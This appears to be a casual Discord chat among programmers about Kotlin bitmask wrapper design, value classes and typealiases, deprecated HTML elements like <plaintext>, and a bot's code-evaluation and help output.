an arbitrary number can be changed yeah
but you won't know what that change actually does
i mean, does that matter? even if i treat them as a black box i will just have to change my gateway schemas no?
mh
maybe i guess? but isnt that still mad overbuilt?
or is that just how people do it in java (kotlin is java yes!) 
its a common structure i use for all bitmasks
its actually the same pattern android themselves use
me i always make my code in a way where its very extendable
it just looks like a lot because theres a lot of capabilities and im trying to document as much as possible
when it changes you have to figure out what functionality changed
yes you can still hardcode but personally I don't like random big numbers
the number isn't actually that big last i checked
hasAny doc is kinda misleading
i think its only 5 digits
not a good marker of what behavior your implementation matches
fun keyword is so silly
- * Checks if the [capabilities] are included in this set
+ * Checks if at least one of the [capabilities] are included in this set
and add hasAll
its what android code rusher sent called it
operator fun contains(capabilities: Capabilities) = (bitmask and capabilities.bitmask) == capabilities.bitmask

then u can use in
Capabilities.LAZY_USER_NOTES in capabilities
that makes sense
the hasAny doesn't fulfill the contains contract
Capabilities.LAZY_USER_NOTES.hasAny(Capabilities.LAZY_UER_NOTES + Capabilities.SOMETHING_ELSE) // true
but tbh idk why they even need that
in makes more sense imo xd
dude kotlin is such a silly little language
we don't like that either
it's kotlin's way of static
we beg jetbrains for static keyword
it's really weird
why do they even do it this way
cause of being able to compile to languages that don't support static?
idfk
they could just do it under the hood π
in compiled java the companion object looks so weird
ig companion is more powerful technically since you can have interfaces for them
and extend other companions
i think im gonna keep capabilities the same but apply your recommendation to my other bitmask wrapper
capabilities stuff is all internal
i don't even think i use the toList function, i just have it for parity with the other bitmask
couldn't you make a common class for Bitfields?
nop
that has all these methods
value class
do you need backing properties though?
they are weird
no i was using that as an example of value class weirdness
i could try inheritance but i don't think it'd like it
ok a value class can inherit from an interface but can't be inherited from
i don't think i could make an interface without defining the underlying bitmask as a property
hmm yeah
yeah i pretty much have to choose between value class and extendability
I don't think there's an easy way to do this unless you're okay with having the bits defined on a separate name
that kinda sucks
im gonna stick with value class bc the inlining is more performant
kotlin should let value classes be able to extend other value classes as long as the value types are compatible
that'd be so good
you love
I spent like 30 minutes searching for that
couldn't remember in what codebase of mine I was using it and what it was called
rusher loves half of cadence codebase being comments
the best you could do for now would probably be
value class BitField(value: Int64) {
// implement functions
}
typealias UserFlags = BitField
object UserFlag {
val STAFF = UserFlags(1)
}
typealias Capabilities = BitField
object Capability {
}
the whole point was kinda preventing a second class
before it was constants it was an entirely separate enum
technically it's the same at runtime but yeah it's a bit uglier in source code
UserFlags.Banned + UserFlags.Spammer + UserFlags.Shiggy
we need discord client fully in rust
erm actually kotlin is stupid and doesn't have bitwise operators
do you mean rust
Why rust when Zig exists???
bro missed the whole point of rust
i did not mean rust
I am here to evangelise not pay attention
you will override the + operator for bitflags
this makes it so infuriating
because infix functions don't have the same precedence as actual bitwise operators
honestly i much prefer this over copy pasting the same method for every BitField
yeah
could also use an enum instead of object
YES
SO BAD
rusher didn't like enum
i honestly don't mind copy pasting the methods since they're so tiny
I don't like this because type checking is eliminated
no difference between message flags and user flags
yeah if you make them small enough it's fine I think
do typealiases not enforce types at compile time?
no
typealias is essentially like preprocessor
toString is the only big one and that's bc its specific to the bitfield
I thought they did
I wonder if you can somehow generate it automatically
via reflection technically
yeah
it probably wouldn't be too bad if you cache the reflection
or time for another ksp plugin 
actually does kotlin have some kind of macros
no
In rust you could generate toString at compile time
pretty sure that's how derive Debug and shit works xd
compiler plugins are the closest you can get to macros
i don't even really need that, just makes debugging easier
was helpful when testing activity flags
technically the + operator implementation violates the contract 
x + x => x
malware..
yea you could :3
rust macros are witchcraft
what's wrong with kerbal space program
im gonna eat them
YT embeds now play ads
What's with the rainbow glow
there is a plugin to block ads in YT watchtogether activity, so perhaps there is a way to block it
ShareX image effect
Catpuccin is the one i use
looks awful you should turn it off
says the people in a server with rainbow in their icon
also i keep it to piss people off
gets them mad for some reason
btw does ClearURL work for anyone else lately?
she is homophobic do not listen
Imagine not running ubo
this is in discord embed my guy
on the desktop client
if you on web its no problem
fast
sooo I was reading the mdn element list cause I realised there are a lot of html elements ive never heard of and I found the best element ever
The <plaintext> HTML element renders everything following the start tag as raw text, ignoring any following HTML. There is no closing tag, since everything after it is considered raw text.
I really can't understand why they would deprecate such a fire tag
does it still work in modern browsers
tias
SO TRUE
They missed
marquee most fiure tag
marquee the best
π
would be cool to have a way to have raw text
like a R"()" string
i actually googled around a bit cuz this was interesting
someone said
<pre><code><script style="display:block" type="text/plain">..your raw text here..</script></code></pre>
xd
Just escape your fucking code like a sensible human being and chuck it in a pre
smart
instead of escaping arbritary content put it directly inside a script tag :)
Dog forbid your data contains </script>
take a photo of code and put it in <img>
Uhh 5
That's so fun 
x = day.length
print(x)
Error
lc.eval
day = "Monday"
x = day.length
print(x)
β6
@weary plaza
lc.help
<:i:1263592345845108747> Search Commands
β β audio β β β β βCross-platform music search
β β bingimage β β β β βSearch on Bing Images
β β bing β β β β βSearch on Bing
β β image β β β β βSearch on Google Images
β β google β β β β βSearch on Google
β β lyrics β β β β βSearch song lyrics
β β quora β β β β βSearch on Quora
β β reddit β β β β βSearch on Reddit
β β reverse-image β β β β βReverse image search
β β urbandictionary β β β β βSearch on UrbanDictionary
β β wikihow β β β β βSearch on WikiHow
β β wikipedia β β β β βSearch on Wikipedia
β β wolframalpha β β β β βCompute via Wolfram|Alpha
β β xkcd β β β β βSearch XKCD comics.
β β youtube β β β β βSearch YouTube videos, channels and play...
<:i:1263590898906697800> Use lc.help <command> to view more information about a command.
<:i:1263591704439689226> Need help with anything else? https://discord.gg/xQNBB3WFne
lc.xkcd machine
.length doesnβt start at 0 (in most languages) thatβs only iterators :)
lc.eval hs day = "Monday" x = day.length print(x)
lc.eval bash day = "Monday" x = day.length print(x)
βsource.sh: line 1: day: command not found
source.sh: line 2: x: command not found
source.sh: line 3: syntax error near unexpected token `βx'
source.sh: line 3: `βprint(x)'
lc.eval ```ruby
puts (1..100).select { |n| n % 3 == 0 || n % 5 == 0 }.reduce(0, :+)
β2418
wrong channel my bad
i wish every language had a way to ignore access modifiers
what do you mean I can't access a private member
the only language that even comes somewhat close to this is kotlin with the internal visibility modifier which can be bypassed
i hate when library authors tell me what I can and can't use
you have to use these cursed workarounds all the time (forking fucking everything, reflection if even possible etc)
visibility modifiers should just be a guidance of what the consumer should probably only use, not an enforcement
languages without even reflection are truly horrible
i hate having to fork every fucking library just let me use the private stuff directly
how about remove them entirely and just use _name if you want people to not use it
yeah that's a solution
im tired of public static abstract override blobcatcozy void name()
<@&1205614728148422716> β what is this role for
no programming

